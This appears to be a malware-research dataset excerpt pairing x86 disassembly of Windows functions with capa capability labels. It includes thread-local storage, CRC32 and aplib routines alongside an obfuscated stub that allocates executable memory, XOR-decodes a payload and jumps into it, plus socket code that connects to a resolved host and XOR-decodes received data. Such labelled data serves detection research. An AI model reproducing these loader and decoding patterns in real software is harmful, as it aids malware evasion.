joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4264e0
Capabilities:
Allocate thread local storage

Disassembly:
push ebx
sub esp, 0x18
mov ebx, dword [0x4a7e60]
test ebx, ebx
je 0x426510
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [ebx], eax
mov eax, dword [0x4a7e60]
test eax, eax
je 0x426535
cmp dword [eax], 0xffffffff
je 0x426558
add esp, 0x18
pop ebx
ret
mov dword [esp + 8], sym.___shmem_winpthreads_init__pthread_tls_shmem
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call sym.___shmem_winpthreads_grab
mov ebx, eax
mov dword [0x4a7e60], eax
jmp 0x4264ee
mov dword [esp + 8], sym.___shmem_winpthreads_init__pthread_tls_shmem
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call sym.___shmem_winpthreads_grab
mov dword [0x4a7e60], eax
jmp 0x4264ff
call sym._abort
lea esi, [esi]
Function at 0x4269f0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x2c
mov eax, dword [0x4a7e64]
test eax, eax
je 0x426b44
call sym.__pthread_once_raw.constprop.5
mov eax, dword [0x4a7e60]
test eax, eax
je 0x426b70
mov eax, dword [eax]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
test eax, eax
je 0x426a30
add esp, 0x2c
pop ebx
pop esi
pop edi
pop ebp
ret
call sym._pop_pthread_mem
test eax, eax
mov ebx, eax
je 0x426bbc
mov eax, dword [entry3]
test eax, eax
je 0x426bbc
mov dword [ebx + 0x24], 1
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebx + 0x38], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
sub esp, 0x10
mov dword [ebx + 0x18], eax
mov dword [ebx + 0x1c], 0xffffffff
mov dword [ebx + 0x34], 0xffffffff
mov dword [ebx + 0x60], 0
mov dword [ebx + 0x14], 0
call esi
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov edi, eax
call esi
mov edx, eax
lea eax, [ebx + 0x14]
mov dword [esp + 0x18], 2
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov dword [esp + 8], ebp
mov dword [esp + 4], edi
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
sub esp, 0x1c
test eax, eax
je 0x426bc3
mov eax, dword [ebx + 0x14]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [ebx + 0x68], eax
movzx eax, byte [ebx + 0x20]
sub esp, 4
mov dword [ebx + 0x64], 0
and eax, 0xffffffcf
or eax, 0x10
mov byte [ebx + 0x20], al
mov eax, dword [0x4a7e60]
test eax, eax
je 0x426b96
mov dword [esp + 4], ebx
mov eax, dword [eax]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
test eax, eax
je 0x426bc3
mov eax, ebx
jmp 0x426a28
mov dword [esp + 8], 0
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_once_shmem
call sym.___shmem_winpthreads_grab
mov dword [0x4a7e64], eax
jmp 0x426a04
mov dword [esp + 8], sym.___shmem_winpthreads_init__pthread_tls_shmem
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call sym.___shmem_winpthreads_grab
mov dword [0x4a7e60], eax
jmp 0x426a16
mov dword [esp + 8], sym.___shmem_winpthreads_init__pthread_tls_shmem
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call sym.___shmem_winpthreads_grab
mov dword [0x4a7e60], eax
jmp 0x426b23
xor eax, eax
jmp 0x426a28
call sym._abort
nop
lea esi, [esi]
Function at 0x427130
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
cmp dword [esp + 0x24], 3
je 0x427150
add esp, 0x14
mov eax, 1
pop ebx
pop esi
ret 0xc
mov eax, dword [0x4a7e60]
test eax, eax
je 0x4272c0
mov eax, dword [eax]
cmp eax, 0xffffffff
je 0x42713c
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
test eax, eax
mov ebx, eax
je 0x42713c
test byte [eax + 0x20], 0x30
je 0x427210
mov eax, dword [eax + 0xb0]
test eax, eax
jne 0x4272b0
mov eax, dword [ebx + 0x14]
test eax, eax
je 0x4271c0
mov dword [esp], eax
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
mov eax, dword [ebx + 0x18]
sub esp, 4
test eax, eax
je 0x4271b2
mov dword [esp], eax
call esi
sub esp, 4
mov dword [ebx + 0x18], 0
mov dword [ebx + 0x14], 0
lea eax, [ebx + 0x1c]
mov dword [esp], eax
call sym._pthread_mutex_destroy
mov edx, dword [ebx + 0xac]
mov dword [ebx + 0x34], 0xffffffff
test edx, edx
je 0x427316
mov eax, dword [0x4a7e60]
test eax, eax
je 0x4272f0
mov dword [esp + 4], 0
mov eax, dword [eax]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
mov eax, 1
add esp, 0x14
pop ebx
pop esi
ret 0xc
mov eax, dword [eax + 0x64]
test eax, eax
mov eax, dword [ebx + 0x18]
jne 0x427270
test eax, eax
je 0x42722a
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov eax, dword [ebx + 0xb0]
mov dword [ebx + 0x18], 0
mov dword [ebx + 0x64], 1
test eax, eax
jne 0x4272a0
test byte [ebx + 0x24], 4
je 0x427287
mov eax, dword [ebx + 0x14]
mov dword [ebx], 0xdeadbeef
test eax, eax
je 0x4271b9
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
jmp 0x4271b9
test eax, eax
je 0x427280
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov dword [ebx + 0x18], 0
lea eax, [ebx + 0x1c]
mov dword [esp], eax
call sym._pthread_mutex_destroy
mov dword [ebx + 0x34], 0xffffffff
jmp 0x42713c
call sym.__pthread_cleanup_dest.part.3
jmp 0x427242
call sym.__pthread_cleanup_dest.part.3
jmp 0x42718e
mov dword [esp + 8], sym.___shmem_winpthreads_init__pthread_tls_shmem
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call sym.___shmem_winpthreads_grab
mov dword [0x4a7e60], eax
jmp 0x42715d
mov dword [esp + 8], sym.___shmem_winpthreads_init__pthread_tls_shmem
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call sym.___shmem_winpthreads_grab
mov dword [0x4a7e60], eax
jmp 0x4271ed
mov eax, ebx
call sym._push_pthread_mem.part.0
jmp 0x4271e0
Function at 0x4284b0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov esi, dword [esp + 0x20]
call sym.___pthread_self_lite
mov ebx, eax
mov dword [eax + 4], esi
mov eax, dword [eax + 0xb0]
test eax, eax
jne 0x42852b
test byte [ebx + 0x20], 0x30
je 0x428532
mov eax, dword [0x4a7e60]
test eax, eax
je 0x4285bb
mov eax, dword [eax]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
test eax, eax
mov ebx, eax
je 0x428522
cmp dword [eax + 0x14], 0
je 0x428545
mov esi, dword [eax + 4]
mov dword [eax + 0x64], 1
mov eax, dword [eax + 0x18]
test eax, eax
je 0x428515
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
test byte [ebx + 0x24], 4
mov dword [ebx + 0x18], 0
jne 0x42858f
mov dword [esp], esi
call dword [sym.imp.msvcrt.dll__endthreadex]
call sym.__pthread_cleanup_dest.part.3
jmp 0x4284cd
add ebx, 0x6c
mov dword [esp + 4], 1
mov dword [esp], ebx
call sym._longjmp
mov dword [eax], 0xdeadbeef
mov eax, dword [eax + 0x18]
test eax, eax
je 0x42855c
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
cmp dword [ebx + 0xac], 0
mov dword [ebx + 0x18], 0
mov esi, dword [ebx + 4]
je 0x4285b2
mov eax, dword [0x4a7e60]
test eax, eax
je 0x4285e1
mov dword [esp + 4], 0
mov eax, dword [eax]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push edx
push edx
jmp 0x428522
mov eax, dword [ebx + 0x14]
mov dword [ebx], 0xdeadbeef
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
cmp dword [ebx + 0xac], 0
mov dword [ebx + 0x14], 0
jne 0x42856f
mov eax, ebx
call sym._push_pthread_mem.part.0
jmp 0x42856f
mov dword [esp + 8], sym.___shmem_winpthreads_init__pthread_tls_shmem
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call sym.___shmem_winpthreads_grab
mov dword [0x4a7e60], eax
jmp 0x4284e0
mov dword [esp + 8], sym.___shmem_winpthreads_init__pthread_tls_shmem
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call sym.___shmem_winpthreads_grab
mov dword [0x4a7e60], eax
jmp 0x428578
Function at 0x42bab0
Capabilities:
Check mutex on windows
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2c
mov edi, dword [ebp + 8]
mov dword [esp], edi
call sym._strlen
mov ebx, eax
lea eax, [eax + 0x40]
and eax, 0xfffffff0
call fcn.00419060
mov edx, 0x326d
sub esp, eax
lea eax, [esp + 0x1b]
mov dword [esp + 4], edi
mov dword [esp + 8], ebx
lea esi, [esp + 0xc]
mov word [esp + 0x18], dx
mov dword [esp + 0xc], 0x2d636367
mov dword [esp], eax
mov dword [esp + 0x10], 0x656d6873
mov dword [esp + 0x14], 0x64742d6d
mov byte [esp + 0x1a], 0x2d
call sym._memcpy
lea eax, [ebx + 0x10]
lea edi, [esi + eax]
mov dword [ebp - 0x24], eax
lea eax, [ebx + 0x30]
mov dword [edi], 0x61616161
mov dword [edi + 4], 0x61616161
mov dword [edi + 8], 0x61616161
mov dword [edi + 0xc], 0x61616161
mov dword [edi + 0x10], 0x61616161
mov dword [edi + 0x14], 0x61616161
mov dword [edi + 0x18], 0x61616161
mov dword [edi + 0x1c], 0x61616161
mov dword [ebp - 0x1c], eax
mov byte [esp + ebx + 0x3c], 0
mov byte [esp + ebx + 0x1b], 0
mov dword [esp + 8], esi
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
sub esp, 0xc
mov byte [esi + ebx + 0xf], 0x2d
mov dword [ebp - 0x20], eax
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
test eax, eax
je 0x42bb9f
int3
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_FindAtomA]
sub esp, 4
test ax, ax
jne 0x42bc43
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._malloc
mov edx, edi
mov ebx, eax
mov eax, 0x20
nop
lea esi, [esi]
bt ebx, eax
jae 0x42bbd8
mov byte [edx], 0x41
add edx, 1
sub eax, 1
jne 0x42bbd0
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_AddAtomA]
sub esp, 4
test ax, ax
je 0x42bc40
mov ecx, dword [ebp - 0x24]
mov edx, esi
movzx eax, ax
mov dword [esp], ecx
mov ecx, dword [ebp - 0x1c]
call sym._get_ptr_from_atom_1
cmp eax, ebx
mov esi, eax
je 0x42bc5a
mov dword [esp], ebx
call sym._free
mov edi, dword [ebp - 0x20]
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
sub esp, 4
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
lea esp, [ebp - 0xc]
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret
int3
mov ecx, dword [ebp - 0x24]
mov edx, esi
movzx eax, ax
mov dword [esp], ecx
mov ecx, dword [ebp - 0x1c]
call sym._get_ptr_from_atom_1
mov esi, eax
jmp 0x42bc12
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], 0
mov dword [esp], ebx
mov dword [esp + 8], eax
call sym._memset
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x42bc12
mov dword [esp], ebx
call dword [ebp + 0x10]
jmp 0x42bc12
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x4086ca
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x4086d9
pop dword [ebp - 0x28]
mov eax, 0xebd7ea18
sub eax, 0xeb97633f
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x581de492
add dword [ebp - 0x38], 0xf63460b9
mov dword [ebp - 0x34], 0x928993c
add dword [ebp - 0x34], 0x290ab309
mov dword [ebp - 0x30], 0xd4eb20cf
sub dword [ebp - 0x30], 0x889edca1
mov dword [ebp - 0x2c], 0x634b62b0
sub dword [ebp - 0x2c], 0x634b62b0
lea eax, [ebp - 0x38]
push eax
mov eax, 0x51af4edc
sub eax, 0x516e7e88
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0x6034bc3d
add dword [ebp - 0x38], 0x143dad19
mov dword [ebp - 0x34], 0x6ba094a9
add dword [ebp - 0x34], 0xd5cbcccc
mov dword [ebp - 0x30], 0xb974624f
sub dword [ebp - 0x30], 0x5604f5e3
mov dword [ebp - 0x2c], 0x5875024f
add dword [ebp - 0x2c], 0xa78afdb1
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0xa2a81530
add eax, 0x5d98bb1c
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x39011
push 0
call eax
mov ecx, 0xa2544c12
sub ecx, 0xa2540622
xor edi, edi
add edi, eax
mov edx, 0xa164af30
sub edx, 0xa122ff30
add edx, dword [ebp - 0x28]
mov esi, 0x7692c4ca
sub esi, 0x8ab74d60
sub dword [ebp - 0x20], 0x170f4d72
mov ebx, dword [edx]
add dword [ebp - 0x14], edx
xor ebx, esi
mov dword [ebp - 0x18], 0x925c32a8
mov dword [edi], ebx
xor dword [ebp - 0x18], esi
add edi, 4
add edx, 0x249c220f
add edx, 0xdb63ddf5
loop 0x4087fd
add eax, 0x10a93
mov ebx, eax
add eax, 0x22296880
add eax, 0xddd69785
mov ecx, 0x400000
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x249a058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.0249a1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x249a07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x249a06a
add dl, dl
jne 0x249a089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x249a0dc
xor eax, eax
add dl, dl
jne 0x249a096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x249a17d
add dl, dl
jne 0x249a0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x249a0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x249a0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x249a0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x249a0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x249a075
mov eax, 1
add dl, dl
jne 0x249a0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x249a0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x249a0e1
sub eax, ebx
mov ebx, 1
jne 0x249a128
mov ecx, 1
add dl, dl
jne 0x249a10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x249a119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x249a105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x249a075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x249a13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x249a14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x249a136
cmp eax, 0x7d00
jae 0x249a16d
cmp eax, 0x500
jb 0x249a168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x249a075
cmp eax, 0x7f
ja 0x249a170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x249a075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x249a19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x249a075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x10001000
Capabilities:
Hash data using crc32b

Disassembly:
push ebx
xor edx, edx
push edi
xor eax, eax
test dl, 1
je 0x10001010
mov eax, 0x80
mov ecx, edx
shr ecx, 1
test cl, 1
je 0x1000101c
or eax, 0x40
shr ecx, 1
test cl, 1
je 0x10001026
or eax, 0x20
shr ecx, 1
test cl, 1
je 0x10001030
or eax, 0x10
shr ecx, 1
test cl, 1
je 0x1000103a
or eax, 8
shr ecx, 1
test cl, 1
je 0x10001044
or eax, 4
shr ecx, 1
test cl, 1
je 0x1000104e
or eax, 2
test cl, 2
je 0x10001056
or eax, 1
shl eax, 0x18
mov ecx, eax
and eax, 0x80000000
neg eax
sbb eax, eax
add ecx, ecx
and eax, 0x4c11db7
xor eax, ecx
mov ecx, eax
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
and ecx, 0x4c11db7
add eax, eax
xor ecx, eax
mov eax, ecx
and eax, 0x80000000
neg eax
sbb eax, eax
add ecx, ecx
and eax, 0x4c11db7
xor eax, ecx
mov ecx, eax
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
and ecx, 0x4c11db7
add eax, eax
xor ecx, eax
mov eax, ecx
and eax, 0x80000000
neg eax
sbb eax, eax
add ecx, ecx
and eax, 0x4c11db7
xor eax, ecx
mov ecx, eax
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
and ecx, 0x4c11db7
add eax, eax
xor ecx, eax
mov eax, ecx
and eax, 0x80000000
neg eax
sbb eax, eax
add ecx, ecx
and eax, 0x4c11db7
xor eax, ecx
mov ecx, eax
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
and ecx, 0x4c11db7
add eax, eax
xor ecx, eax
xor edi, edi
mov dword [esi + edx*4], ecx
mov eax, ecx
lea ecx, [edi + 0x1f]
jmp 0x10001110
test al, 1
je 0x1000111d
mov ebx, 1
shl ebx, cl
or edi, ebx
dec ecx
shr eax, 1
cmp ecx, 0xffffffff
jg 0x10001110
mov dword [esi + edx*4], edi
inc edx
cmp edx, 0xff
jle 0x10001004
pop edi
pop ebx
ret

Function at 0x10001140
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
mov eax, dword [0x1001e018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push esi
push 0x100165ec
push eax
lea eax, [ebp - 0x408]
push eax
or esi, 0xffffffff
mov dword [ebp - 0x408], 0
call dword [sym.imp.MSVCR100.dll__wfopen_s]
add esp, 0xc
test eax, eax
je 0x10001192
or eax, 0xffffffff
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10012f04
mov esp, ebp
pop ebp
ret 8
push ebx
push edi
mov ecx, dword [ebp - 0x408]
push ecx
push 0x400
lea edx, [ebp - 0x404]
push 1
push edx
call dword [sym.imp.MSVCR100.dll_fread]
add esp, 0x10
mov ecx, eax
lea edx, [ebp - 0x404]
test eax, eax
je 0x100011da
mov edi, edi
movzx ebx, byte [edx]
mov edi, esi
and edi, 0xff
xor edi, ebx
mov ebx, dword [ebp + 8]
shr esi, 8
xor esi, dword [ebx + edi*4]
inc edx
dec ecx
jne 0x100011c0
cmp eax, 0x400
je 0x10001194
mov eax, dword [ebp - 0x408]
push eax
call dword [sym.imp.MSVCR100.dll_fclose]
mov ecx, dword [ebp - 4]
add esp, 4
pop edi
mov eax, esi
pop ebx
xor ecx, ebp
not eax
pop esi
call fcn.10012f04
mov esp, ebp
pop ebp
ret 8
Function at 0x10001430
Capabilities:
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x198
mov eax, dword [0x1001e018]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x198]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x10001469
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10012f04
mov esp, ebp
pop ebp
ret
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x1001e12c], eax
cmp eax, 0xffffffff
je 0x10001459
call dword [sym.imp.WS2_32.dll_WSACreateEvent]
mov dword [0x1001e130], eax
test eax, eax
je 0x10001459
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov dword [0x1011e13c], 0x10002240
mov al, 1
call fcn.10012f04
mov esp, ebp
pop ebp
ret

Function at 0x100014b0
Capabilities:
Connect socket
Encode data using xor
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x1001e018]
xor eax, ebp
mov dword [ebp - 8], eax
cmp dword [0x1001e12c], 0xffffffff
push esi
push edi
mov esi, ecx
jne 0x10001525
push 0x100
push 0
push 0x10d7b8e0
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
mov cl, byte [eax + 0x10016718]
sub cl, 0x1b
xor cl, 0xc
mov byte [eax + 0x10d7b8e0], cl
inc eax
cmp eax, 0x100
jb 0x100014e3
push 0x10d7b8e0
push 0
mov ecx, 0x1011e2d8
call fcn.10007050
add esp, 8
xor al, al
pop edi
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.10012f04
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebp + 8]
mov edx, 2
push eax
mov word [ebp - 0x18], dx
call dword [sym.imp.WS2_32.dll_htons]
push esi
mov word [ebp - 0x16], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x14], eax
cmp eax, 0xffffffff
jne 0x1000156d
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x1000156d
movsx ecx, word [eax + 0xa]
mov edx, dword [eax + 0xc]
mov eax, dword [edx]
push ecx
push eax
lea ecx, [ebp - 0x14]
push ecx
call sub.MSVCR100.dll_memcpy
add esp, 0xc
mov eax, dword [0x1001e12c]
push 0x10
lea edx, [ebp - 0x18]
push edx
push eax
call dword [sym.imp.WS2_32.dll_connect]
mov esi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0xffffffff
jne 0x100015ce
call esi
cmp eax, 0x2733
je 0x100015ce
call esi
push eax
mov eax, 2
call fcn.1000fd60
push eax
push 0
mov ecx, 0x1011e2d8
call fcn.10007050
add esp, 0xc
mov esi, 0x1001e128
call fcn.10001670
xor al, al
pop edi
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.10012f04
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [0x1001e130]
mov edx, dword [0x1001e12c]
push 0x23
push ecx
push edx
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
jne 0x100015f3
call esi
push eax
mov eax, 3
jmp 0x1000159b
push 0x80000
push 0
push 0x1001e134
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x80000
push 0
push 0x1009e138
mov dword [0x1009e134], 0
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x10d7b598
mov ecx, 0x1001e128
mov edi, 0x10001c10
mov dword [0x1011e138], 0
call fcn.10010010
mov ecx, dword [ebp - 8]
pop edi
mov dword [0x1011e15c], eax
xor ecx, ebp
mov byte [0x1011e160], 1
mov al, 1
pop esi
call fcn.10012f04
mov esp, ebp
pop ebp
ret 4
Function at 0x100016e0
Capabilities:
Encode data using xor
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov esi, eax
mov eax, dword [esi + 0x8000c]
xor edi, edi
push edi
mov ecx, 0x80000
sub ecx, eax
push ecx
lea edx, [eax + esi + 0xc]
mov eax, dword [esi + 4]
push edx
push eax
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jne 0x10001767
mov edi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call edi
cmp eax, 0x2733
je 0x10001895
push 0x100
push 0
push 0x10d7b8e0
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
lea esp, [esp]
mov cl, byte [eax + 0x10016a18]
sub cl, 0x1b
xor cl, 0xc
mov byte [eax + 0x10d7b8e0], cl
inc eax
cmp eax, 0x100
jb 0x10001740
call edi
push eax
push 0x10d7b8e0
jmp 0x100018e0
add dword [esi + 0x8000c], eax
mov eax, dword [esi + 0x8000c]
cmp eax, 4
jl 0x10001895
lea esp, [esp]
mov al, byte [esi + edi + 0xc]
lea edx, [esi + 0xc]
cmp al, 0xc1
jne 0x10001796
movzx ebx, byte [edi + esi + 0xd]
mov cl, byte [edi + esi + 0xf]
jmp 0x100017b5
cmp al, 0xc2
jne 0x100018cf
movzx ecx, byte [edi + esi + 0xd]
shl cx, 8
movzx ebx, cx
movzx ecx, byte [edi + esi + 0xe]
or ebx, ecx
mov cl, byte [edi + esi + 0x10]
cmp ebx, 4
jl 0x1000189e
cmp ebx, 0x80000
jg 0x1000189e
cmp ebx, dword [esi + 0x8000c]
jg 0x1000186c
cmp al, 0xc1
jne 0x10001808
mov dl, byte [edi + esi + 0xe]
mov byte [ebp - 4], dl
lea edx, [ebx - 3]
xor eax, eax
lea ecx, [edi + esi + 0xf]
test edx, edx
jle 0x10001834
mov dl, byte [ecx + eax]
add dl, byte [ebp - 4]
lea ecx, [edi + esi + 0xf]
xor dl, 0xa0
mov byte [ecx + eax], dl
inc eax
lea edx, [ebx - 3]
cmp eax, edx
jl 0x100017ee
jmp 0x10001834
mov cl, byte [edi + esi + 0xf]
lea edx, [ebx - 4]
xor eax, eax
mov byte [ebp - 4], cl
lea ecx, [edi + esi + 0x10]
test edx, edx
jle 0x10001834
mov dl, byte [ecx + eax]
add dl, byte [ebp - 4]
lea ecx, [edi + esi + 0x10]
xor dl, 0xa0
mov byte [ecx + eax], dl
inc eax
lea edx, [ebx - 4]
cmp eax, edx
jl 0x1000181c
mov al, byte [ecx]
mov edx, dword [esi + 0x100014]
mov byte [ebp - 8], al
mov ecx, dword [ebp - 8]
push ebx
lea eax, [esi + edi + 0xc]
push eax
push ecx
call edx
sub dword [esi + 0x8000c], ebx
add esp, 0xc
add edi, ebx
cmp dword [esi + 0x8000c], 0
jg 0x10001780
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test edi, edi
jle 0x10001895
mov eax, dword [esi + 0x8000c]
test eax, eax
jle 0x10001895
mov ecx, 0x80000
sub ecx, edi
cmp eax, ecx
jg 0x10001895
push eax
lea eax, [edi + esi + 0xc]
push eax
push edx
call dword [sym.imp.MSVCR100.dll_memmove]
add esp, 0xc
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
movzx ecx, cl
push ecx
movzx edx, al
push ebx
push edx
mov eax, 6
call fcn.1000fd60
push eax
push 0
mov ecx, 0x1011e2d8
call fcn.10007050
add esp, 0x14
call fcn.10001670
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
movzx eax, byte [edi + esi + 0xc]
push eax
mov eax, 5
call fcn.1000fd60
push eax
push 0
mov ecx, 0x1011e2d8
call fcn.10007050
add esp, 0xc
call fcn.10001670
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret